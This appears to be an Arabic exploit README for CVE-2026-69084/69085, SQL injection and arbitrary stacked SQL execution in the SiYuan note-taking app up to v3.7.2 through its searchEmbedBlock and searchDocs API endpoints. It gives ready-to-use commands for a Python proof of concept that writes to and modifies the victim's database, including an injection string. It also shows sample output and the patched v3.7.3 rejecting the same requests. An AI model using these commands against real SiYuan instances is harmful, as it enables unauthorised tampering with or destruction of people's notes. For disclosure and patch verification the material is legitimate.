
CVE-2026-69084/69085 — تنفيذ SQL تعسفي في SiYuan عبر searchEmbedBlock + searchDocs SQLi (CVSS 9.9). تم التحقق على v3.7.2، وتم الرفض على v3.7.3.
CVE-2026-69084: تنفيذ SQL تعسفي عبر /api/search/searchEmbedBlock
CVE-2026-69085: حقن SQL عبر /api/filetree/searchDocs
CVSS 9.9 (حرج) لكل منهما · CWE-89 · SiYuan <= v3.7.2 (تم الإصلاح في v3.7.3)
نُشر في 2026-08-03 · لا يوجد PoC عام وقت النشر
SiYuan (تطبيق تدوين الملاحظات مفتوح المصدر، github.com/siyuan-note/siyuan) يعرض
نقطتي نهاية API تمرران SQL يتحكم فيه المهاجم إلى قاعدة بيانات SQLite الخاصة به:
CVE-2026-69084 — /api/search/searchEmbedBlock:
يتم تمرير معامل stmt حرفيًا إلى مقبض قاعدة البيانات الرئيسي للقراءة والكتابة
siyuan.db دون أي قيد على عبارة واحدة أو وضع القراءة فقط. يقوم
مشغل SQLite بتنفيذ عبارات مكدسة (مفصولة بفواصل منقوطة)، لذا يمكن
للمهاجم تنفيذ / / / / على أي شيء في
قاعدة البيانات. محمي فقط بواسطة — يمكن الوصول إليه باستخدام
رمز RoleReader للنشر، أو بشكل مجهول عندما يكون وضع النشر يحتوي على
.
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
يتم دمج معامل keyword مباشرة في SQL دون تهريب
أو ربط معاملات.
تم إصلاح كلاهما في v3.7.3 عبر sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. فحص غير مدمر (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. إثبات الكتابة في قاعدة البيانات: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. تنفيذ SQL تعسفي (يدعم العبارات المكدسة)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. حقن SQL في searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
إذا كانت النسخة تعمل مع تمكين وضع النشر وتعطيل المصادقة
(Publish.Auth.Enable=false)، فلن تكون هناك حاجة إلى --auth على الإطلاق.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db
# على المضيف:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
الإصدار المُصحح v3.7.3 يرفض نفس الطلبات:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT المفردة لا تزال تعمل (الوظيفة المشروعة محفوظة)يقوم PoC بلغة Python بتسجيل الدخول عبر الجلسة (/api/system/loginAuth) للحصول على
ملف تعريف الارتباط للمصادقة، ثم يرسل POST إلى نقطة النهاية الضعيفة. تم اختباره ضد
b3log/siyuan:v3.7.2 (الضعيف) و b3log/siyuan:v3.7.3 (المُصحح).
Publish.Auth.Enable=true واستخدم
رموز RoleReader قوية.لأغراض الاختبار الأمني المصرح به والتعليم فقط.